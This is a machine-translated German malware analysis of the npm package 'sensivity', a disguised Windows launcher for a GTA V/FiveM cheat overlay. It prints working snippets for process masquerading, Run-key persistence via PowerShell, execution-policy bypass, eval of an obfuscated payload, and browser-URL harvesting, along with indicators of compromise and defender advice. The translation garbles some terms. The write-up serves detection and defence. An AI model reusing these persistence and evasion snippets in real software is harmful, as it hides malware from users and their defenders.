PairLoop: Verstecktes Fernsteuerungspanel im npm-Paket

PairLoop: Ein npm-Paket, siebzig Versionen und ein verstecktes Windows-Fernbedienungsfeld

TL; DR

Das npm-Paket Empfindlichkeit Es bezeichnet sich selbst als „Empfindlichkeits-Kontrollfeld“. Unter Windows fungiert es als Fernsteuerungs- und Überwachungstool.

Sein Einstiegspunkt, launcher.jsbenennt seinen eigenen Prozess in Runtime Broker um und schreibt einen Autostart-Run-Key-Wert mit dem Namen OneDriveUpdate das Paket über ein verstecktes VBScript neu startet, startet PowerShell mit -ExecutionPolicy Bypassund wertet anschließend eine 171 KB große, verschleierte Server-Payload zusammen mit einem 6.87 MB großen nativen Modul aus. sens.node.

Es dient als Bedienfeld für die Telefonkopplung auf TCP-Port 3000 und liest die URL der Adressleiste des aktiven Browsers über Windows UIAutomation aus, wobei es auf ein fest codiertes YouTube-Video achtet.

Zwei Teile, die zuvor als Blackboxes angezeigt wurden, sind nun aufgelöst. Der verschleierte Server, server.obf.js, verwendet ein String-Array-Schema von obfuscator.io RC4; die Offline-Neuimplementierung des Decoders (ohne Ausführung von JavaScript) stellt einen einzelnen externen Endpunkt wieder her — https://izopi.com/check.php — zusammen mit einem eingebetteten öffentlichen RSA-Schlüssel, der zur Überprüfung signierter Lizenzantworten verwendet wird.

Das native Modul, sens.node, ist nicht gepackt: Seine Importtabelle und eingebettete Zeichenketten identifizieren es als ein DirectX 11 / Dear ImGui In-Game-Overlay, das Aimbot-, ESP- (Wallhack-) und Triggerbot-Funktionen bietet, die durch Remote-Prozess-Injektion und Speicherlese-/Schreibvorgänge gesteuert werden.

Die darin enthaltenen Zeichenketten verweisen auf Fahrzeugobjekte und Kartenpositionen, die mit GTA V / FiveM kompatibel sind. Das npm-Paket dient als Bereitstellungs- und Persistenz-Wrapper für dieses native Modul.

Das entscheidende Signal ist operativer, nicht technischer Natur: Ein einzelner anonymer Herausgeber brachte rund siebzig Versionen eines einzigen Softwarepakets auf den Markt. 2.5.0 durch 2.5.69 — über mehrere Tage hinweg, wobei jeder den gleichen Werfer bei sich trug.

Es gibt keine Installationsanforderungen. hooksDie Nutzlast wird nur ausgeführt, wenn das Paket gestartet wird.

Der Angriff: Wie er funktioniert

Das Paket „sensivity“ enthält zehn Dateien. Die package.json ist spärlich: kein Repository-Feld, keine Lizenz, ein Hauptverzeichnis und zwei Binär-Aliase („sensivity“, „sens“), die alle auf launcher.js verweisen, sowie ein Startskript für node launcher.js. Es gibt keine Postinstall- oder Preinstall-Anweisungen. Bei der Installation mit npm wird nichts ausgeführt. Das unten beschriebene Verhalten tritt auf, wenn ein Benutzer das Paket startet – entweder über die Binär-Shim, das Startskript oder per require.

Das Tarball-Archiv enthält den Launcher, einen verschleierten Server, das native Modul, ein Visual Basic-Skript und ein öffentliches Webverzeichnis für das Control Panel. launcher.js ist die lesbare Orchestrierungsschnittstelle; die zur Laufzeit relevante Logik befindet sich in den beiden von ihr geladenen Dateien – einem verschleierten Server und einem kompilierten nativen Modul, die beide weiter unten aufgelöst werden.

 Prozessmaskierung und ein gefälschter OneDrive-Aktualisierer

Gleich zu Beginn der Ausführung setzt launcher.js seinen eigenen Prozessnamen zweimal:

   javascript process.title = 'Runtime Broker'; 

Der Runtime Broker ist ein legitimer Windows-Prozess (RuntimeBroker.exe), der die Anwendungsberechtigungen verwaltet. Wenn ein Node-Prozess entsprechend umbenannt wird, zeigt ein kurzer Blick in den Task-Manager keine Auffälligkeiten.

Die Persistenz wird über PowerShell und nicht über eine direkte Registry-API realisiert:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Der Autostart-Wert heißt OneDriveUpdate und verweist nicht direkt auf das Paket. Er verweist auf wscript.exe, das das mitgelieferte Skript OneDrive.Standalone.Updater.vbs ausführt. Dieses Skript startet node launcher.js in einem versteckten Fenster neu. Sowohl der Name des Run-Schlüssels als auch der Name der VBScript-Datei verwenden Microsoft-Logos, sodass der Autostart-Eintrag wie eine routinemäßige OneDrive-Aufgabe erscheint.

PowerShell mit Umgehung der Ausführungsrichtlinie

Der Launcher ruft wiederholt PowerShell auf. Das von Scannern als kritisch eingestufte Ereignis ist der Start einer generierten .ps1-Datei mit deaktivierter Ausführungsrichtlinie:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Die Umgehung der Ausführungsrichtlinie entfernt die lokale Skriptsignaturprüfung für diesen Aufruf. Die generierten Skripte übernehmen die im nächsten Abschnitt beschriebene Browserüberwachung und Fenstererkennung.

Der verschleierte Server und das native Modul

Nach der Einrichtung lädt launcher.js seine eigentliche Nutzlast und führt sie aus:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js ist 171 KB groß und enthält _0x-Array-Verschleierung – ein JavaScript-Muster, bei dem jede Zeichenkette und jeder Bezeichner durch einen Index in einem zufällig gemischten Array ersetzt und anschließend zur Laufzeit dereferenziert wird. Das Verfahren ist die RC4-Variante von obfuscator.io: Eine einzelne Decoderfunktion dekodiert einen Array-Eintrag Base64 und entschlüsselt ihn anschließend mit einem pro Aufruf verwendeten Schlüssel per RC4. Die Implementierung dieses Decoders in einem separaten Skript – wobei ausschließlich die neu implementierte Funktion auf das extrahierte 821-Einträge-Zeichenketten-Array angewendet wird, niemals das JavaScript des Pakets – führt zu einer sauberen Entschlüsselung. Das Ergebnis ist bescheiden, aber dennoch bemerkenswert.cisive: eine externe URL, `https://izopi.com/check.php`, die der Konstante `LICENSE_URL` zugewiesen ist; ein eingebetteter `RSA PUBLIC_KEY_PEM`; die lokalen Panel-Routen `/api/kill`, `/api/qr.png`, `/api/trigger`, `/api/url`, `/trigger/off` und `/trigger/status`; und die Zeichenketten `child_process`, `crypto` und `[Sensivity] sens.node loaded` – letztere ist die exakte Logzeile, die der Launcher in `program module loaded` umschreibt. Der Endpunkt ist eine Lizenzprüfung: Der Client sendet eine Kennung (der verschleierte Server formatiert sie als Discord-ID: %s-Zeichenkette), und der RSA-Schlüssel verifiziert die signierte Antwort des Servers.

sens.node ist ein 6.87 MB großes, kompiliertes natives Add-on, das nicht gepackt ist – die Abschnittsentropie liegt zwischen 5.6 und 6.6, und die PE-Import- und -Exporttabellen sind intakt, sodass seine Funktionen direkt lesbar sind. Es exportiert napi_register_module_v1, das standard Der Node N-API-Einstiegspunkt wird vom evaluierten Server mit einem einfachen require geladen. Seine Importtabelle gibt Aufschluss darüber. Aus KERNEL32 werden OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules und Process32First/NextW geladen – die Standardbibliothek zum Auffinden anderer Prozesse, zum Zuweisen von Speicher innerhalb dieser Prozesse und zum Lesen und Schreiben dieses Speichers. Aus USER32 werden GetAsyncKeyState, GetKeyState, mouse_event und SetCursorPos geladen; außerdem werden d3d11.dll, D3DCOMPILER_43 und dwmapi für eine Bildschirmanzeige sowie die vollständige WINHTTP-Bibliothek für Netzwerkaufrufe verlinkt. Die eingebetteten Zeichenketten benennen die Funktionen eindeutig: Aimbot aktivieren, Aimbot-Sichtfeld, Box-ESP, Skeleton-ESP, Triggerbot, ESP Builder, Fahrzeug-ESP, Electron-Anticheat erkannt und der „Dear ImGui“-Banner „Dear ImGui 1.91.3 WIP“. Orts- und Objektbezeichnungen wie „Grapeseed Medical Clinic“ und die Fahrzeug-ESP-Bezeichnungen entsprechen denen von GTA V/FiveM.

Die Aufteilung ist beabsichtigt: Die lesbare launcher.js enthält nur die Teile, die ein Scanner leicht erfassen kann – Persistenz, Maskierung und den eval-Aufruf selbst. Die Verschleierung verbirgt den einen externen Host, mit dem die Laufzeitumgebung kommuniziert, und die Binärdatei enthält die Spiel-Overlay- und Prozessinjektionslogik. Der Launcher ist die schlanke, überprüfbare Hülle; der verschleierte Server verbirgt die Netzwerkidentität; das native Modul ist die Nutzlast. Wir beschreiben die Importe und Strings der Binärdatei als lesbar; wir leiten daraus nicht die Absicht des Benutzers ab.

 Ein Bedienfeld zur Telefonkopplung an Port 3000

Der Launcher verwaltet einen lokalen Webserver auf TCP-Port 3000 und behandelt ihn als Singleton. Er fragt nach einem vorhandenen Listener und löscht diesen vor dem Binden.

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Das Panel ist unter http://localhost:3000 erreichbar, mit einer fest codierten LAN-Fallback-URL von http://192.168.1.16:3000. Das Verzeichnis „public/“ und das Verhalten des Panels entsprechen einem QR-Code-Pairing-Ablauf: Ein Smartphone scannt einen Code und verbindet sich als Remote-Gerät mit dem Host. Im Launcher wird keine externe Command-and-Control-Domain im Klartext angezeigt – wie die obige Entschlüsselung jedoch zeigt, ist eine auf dem verschleierten Server vorhanden: der Lizenzendpunkt izopi.com. Das Panel selbst ist lokal und auf das LAN beschränkt; der einzige ausgehende Host ist die Lizenzprüfung.

Ein getrenntes Supervisor/Worker-Modell hält den Prozess am Laufen. Der Launcher startet sich selbst mit den Umgebungsvariablen SENSIVITY_SUPERVISOR und SENSIVITY_WORKER neu, wobei jeder Kindprozess im Hintergrund läuft. Wird ein Prozess beendet, sorgt ein Watchdog dafür, dass er ihn neu startet.

Browserüberwachung und das YouTube-Signal

Das spezifischste Verhalten ist die Browserüberwachung. launcher.js erstellt PowerShell, das Windows UIAutomation anweist, die Adressleiste eines laufenden Browsers auszulesen:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern gibt den Textinhalt eines UI-Elements zurück. Angewendet auf das Adressleisten-Eingabefeld eines Browsers, liefert es die URL, die der Benutzer gerade anzeigt – ohne Browsererweiterung, ohne Änderung des Profils auf der Festplatte und ohne API-Hook. Das generierte Skript durchläuft eine Liste `$browserNames` und extrahiert die URL oder den Fenstertitel des jeweils im Vordergrund laufenden Browsers.

Diese URL wird anhand eines einzelnen, fest codierten Ziels getestet:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Der Launcher prüft in einer dreisekündigen Schleife, ob ein Browserfenster YouTube anzeigt. Das generierte PowerShell-Skript enthält ein Get-YouTubeBrowser/Test-TargetYouTubeUrl-Paar, das mit der Video-ID abgeglichen wird. Der Effekt ist zweifach: Die aktive Browser-URL wird vom Bildschirm des Opfers ausgelesen, und die Interaktion des Wirts mit einem bestimmten YouTube-Video wird erkannt. Wir beschreiben den Mechanismus und das Ziel; wir leiten daraus kein Motiv ab.

Der ausgelesene Adressbereich wird vom Scanner als „sensitive_data_enumeration“ bezeichnet – eine Process::env- und UIAutomation-Quelle, die eine netzwerkfähige Laufzeitumgebung speist. Isoliert betrachtet erscheint dies harmlos und wird erst dann als Überwachung erkannt, wenn der Datenlebenszyklus von der UIAutomation-Quelle bis zum verschleierten Server nachverfolgt wird.

Zeitleiste und Versionsentwicklung

Sensivity ist kein einmaliger Upload. Der Publisher-Account verzeichnet rund siebzig veröffentlichte Versionen dieses Pakets, und während des Testzeitraums kamen ständig neue hinzu. Der Launcher wird in der 2.5.x-Reihe schrittweise um neue Funktionen erweitert, während seine Persistenz und das Laden der Nutzdaten unverändert bleiben.

Datum (UTC)beobachtete VersionenStartzustand
2026-06-02 2.5.8 - 2.5.46 (25) Basis-QR-Panel-Launcher; Persistenz der Run-Taste; Auswertung eines verschleierten Servers.
2026-06-03 2.5.53 - 2.5.61 (6) Gleicher Fingerabdruck; Unterdrückung von Konsolenprotokollen.
2026-06-04 2.5.67, 2.5.68 (2) Fügt ein angeheftetes YouTube-Engagement-Ziel hinzu wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Lückenfüllende Neuveröffentlichung im gesamten Sortiment; Aufsichtsperson/Mitarbeiterkontrolle.

Die Analyse des Launchers in den heruntergeladenen Versionen 2.5.0, 2.5.36 und 2.5.69 zeigt vier Ebenen. Die frühesten Builds enthalten den Basis-Launcher mit QR-Code-Kopplung. Ab Version 2.5.33 kommt der UIAutomation-Adressleisten-Harvester hinzu. Ab Version 2.5.58 wird eine Supervisor-Management-Ebene hinzugefügt. Ab Version 2.5.64 vervollständigt der separate Supervisor/Worker-Watchdog das Paket. Vier Dinge bleiben dabei unverändert: der OneDriveUpdate-Run-Schlüssel, der Dropper OneDrive.Standalone.Updater.vbs, die ausgewertete Datei server.obf.js und das native Modul sens.node.

Die Veröffentlichungswelle vom 05.06.2026 ist bemerkenswert, da sie die niedrigen Versionsnummern – 2.5.0 bis 2.5.15 – erneut veröffentlichte, die unterhalb der wenige Tage zuvor bestätigten Versionen liegen. Dies führt zu einer durchgehenden 2.5.x-Zeile in der Registry, wobei jede Version denselben Launcher verwendet.

Kompromissindikatoren

Alle unten aufgeführten Indikatoren wurden direkt aus dem Paketarchiv (Tarball) ausgelesen. Der lesbare Launcher enthält lediglich eine Loopback-Adresse und eine einzige private LAN-Adresse; der externe Hostname izopi.com wurde durch Offline-Deobfuskieren der Datei server.obf.js wiederhergestellt.

TypIndikatorNotizen
Verpackungnpm:sensivity (≈70 Versionen, 2.5.0-2.5.69)Herausgeber einer einzigen Softwarelösung; kein Repository; keine Lizenz.
Reichen Sie daslauncher.jsLesbarer Orchestrator; Haupt- und Binärziel.
Reichen Sie dasserver.obf.js (≈171 KB)obfuscator.io RC4 String-Array-Payload, geladen über eval(fs.readFileSync(...)).
Reichen Sie dassens.node (≈6.87 MB)PE32+ x86-64 Node N-API-Addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Reichen Sie dasOneDrive.Standalone.Updater.vbsVersteckter Relauncher (node launcher.js).
Netzwerkhttps://izopi.com/check.phpLizenz-/Authentifizierungsendpunkt vom verschleierten Server wiederhergestellt; eingebetteter öffentlicher RSA-Schlüssel verifiziert die Antworten.
CapabilityOpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThreadRemote-Prozessinjektion und Speicherlese-/Schreibfähigkeit.
CapabilityEnable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIPDirectX 11 / ImGui-Spiel-Overlay mit Implementierung von Aimbot-, ESP- und Triggerbot-Funktionen.
RegistraturHKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdateAutostart-Wert, der auf wscript.exe und der VBScript-Launcher.
Prozessprocess.title = 'Runtime Broker'Gibt sich als legitimer Windows Runtime Broker-Prozess aus.
Verhaltens-powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1Umgehung der Ausführungsrichtlinie für generierte PowerShell-Skripte.
Verhaltens-UIAutomation ValuePattern Lesen Sie die Adressleiste des Browsers.Liest die URL des im Vordergrund laufenden Browserfensters.
Verhaltens-Zielvideo-ID wJWta2lO0Lw3-Sekunden-YouTube-UmfrageFestgelegtes Einsatzüberwachungssignal.
Netzwerkhttp://localhost:3000, zurückgreifen http://192.168.1.16:3000QR-Pairing-Bedienfeld lokal und im LAN zugänglich.
ArbeitsumfeldSENSIVITY_SUPERVISOR, SENSIVITY_WORKERAbgekoppelte Überwachungsprozess-Koordinierungsflags.

Zuschreibung, Wirkung und Verteidiger

Das Paket wird von einem einzelnen npm-Konto veröffentlicht, dessen angegebene E-Mail-Adresse eine nicht verifizierte Gmail-Adresse ist. Das Konto hat eine sehr schlechte Reputation im Registry, pflegt und veröffentlicht ausschließlich dieses eine Paket und verfügt über kein verknüpftes Quellcode-Repository. Wir haben die Inhaberschaft der E-Mail-Adresse nicht überprüft und ordnen die Kampagne dem Herausgeberkonto und nicht einer bestimmten Person zu. Der Launcher verwendet keine Klartext-Infrastruktur, aber der einzige externe Host ist nun bekannt: Der verschleierte Server kontaktiert izopi.com zur Lizenzprüfung, und das native Modul – ausgelesen aus seiner Importtabelle und den Strings anstatt aus dem rückwärts abgeleiteten Code – ist ein Spiel-Overlay, das in den Speicher eines anderen Prozesses injiziert und diesen ausliest.

Die Auswirkungen betreffen Windows-Nutzer, die Sensivity installieren und ausführen und dabei ein Dienstprogramm für die Systemsteuerung erwarten. Auf diesen Rechnern richtet das Paket einen Autostart-Eintrag ein, der als OneDrive-Aufgabe getarnt ist, benennt sich um, um einem Systemprozess zu ähneln, liest die URL der aktuell besuchten Webseite und startet ein Kopplungsfenster, das den Rechner über das lokale Netzwerk mit einem Remote-Gerät verbindet. Die Überwachung durch Supervisor und Worker verhindert, dass das Paket durch Beenden eines einzelnen Prozesses entfernt wird; der Eintrag im Ausführen-Dialog bleibt auch nach einem Neustart erhalten. macOS und Linux sind von diesem Launcher nicht betroffen – die Pfade für Persistenz, PowerShell und UIAutomation sind ausschließlich für Windows verfügbar.

Die hohe Anzahl von 70 neuen Versionen ist ein besorgniserregender Trend. Das dutzende Male Neuveröffentlichen eines Pakets innerhalb weniger Tage, inklusive der Nachveröffentlichung von Versionsnummern unterhalb bereits entfernter Versionen, sorgt dafür, dass zwischen den Löschungen stets eine aktive Kopie in der Registry verbleibt und versionsbasierte Sperrlisten umgangen werden. Ein Sperrlisteneintrag für sensivity@2.5.61 ist wirkungslos gegen sensivity@2.5.3, das am nächsten Tag neu veröffentlicht wird.

Die Verteidiger können in folgenden Fällen handeln:

  • Die Sensitivität gegenüber Paketnamen sollte in Registry-Proxy und CI-Zulassungslisten vollständig blockiert werden. Das Festlegen einzelner Versionen geht gegenüber dem Veröffentlichungsrhythmus verloren; der Name ist der dauerhafte Indikator.
  • Suchen Sie nach einem Run-Wert namens OneDriveUpdate, dessen Daten wscript.exe für eine .vbs-Datei in einem benutzerspezifischen Pfad aufrufen. Der offizielle OneDrive-Updater wird nicht auf diese Weise registriert.
  • Warnung zu einem Node.js-Prozess, dessen Prozesstitel „Runtime Broker“ lautet. Der eigentliche Broker ist RuntimeBroker.exe, nicht die Node-Laufzeitumgebung.
  • Die npm-Installationsparameter prüfen, ob Pakete, die ein kompiliertes .node-Add-on und eine eval(fs.readFileSync(…))-Aufrufe für eine zugehörige .obf.js-Datei enthalten, verfügbar sind. Diese Kombination – eine undurchsichtige native Binärdatei neben einer verschleierten Textnutzlast – ist hier das strukturelle Indiz, unabhängig von jeglichen String-IOCs.
  • Behandeln Sie jeden lokal gebundenen Listener auf Port 3000, der von einem unerwarteten Node-Prozess erzeugt wird, auf verwalteten Windows-Endpunkten als verdächtig.
  • Ausgehende Anfragen an izopi.com von Entwickler- oder Endbenutzer-Hosts blockieren oder eine Warnung ausgeben; es handelt sich um den einzigen externen Endpunkt des Pakets, der über /check.php vom verschleierten Server aus erreichbar ist.
  • Bei jedem mitgelieferten .node-Addon sollte man die Importtabelle prüfen, bevor man ihm vertraut. Die Kombination OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread führt unabhängig von den Angaben des Pakets zu Remote-Prozess-Injection; hier befindet sie sich neben einem Direct3D-Overlay und Aimbot-/ESP-/Triggerbot-Strings.

Für die statische Analyse pipelineDie Überzeugungsstruktur bleibt auch bei Versionswechseln erhalten: ein Installationsprofil ohne Netzwerkverbindung, die Zuweisung eines Prozesstitels zu einem bekannten Systemprozessnamen, ein Schreibvorgang über die Run-Taste via PowerShell und die Auswertung einer von der Festplatte gelesenen Datei. Nichts davon ist von einer Domäne, einer IP-Adresse oder einer Versionsnummer abhängig, die bei der nächsten Neuveröffentlichung geändert werden könnte.

 Referenzen

[npm: Empfindlichkeit] – Registrierungsseite für die hier besprochene Paketversionszeile; kann entfernt werden.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite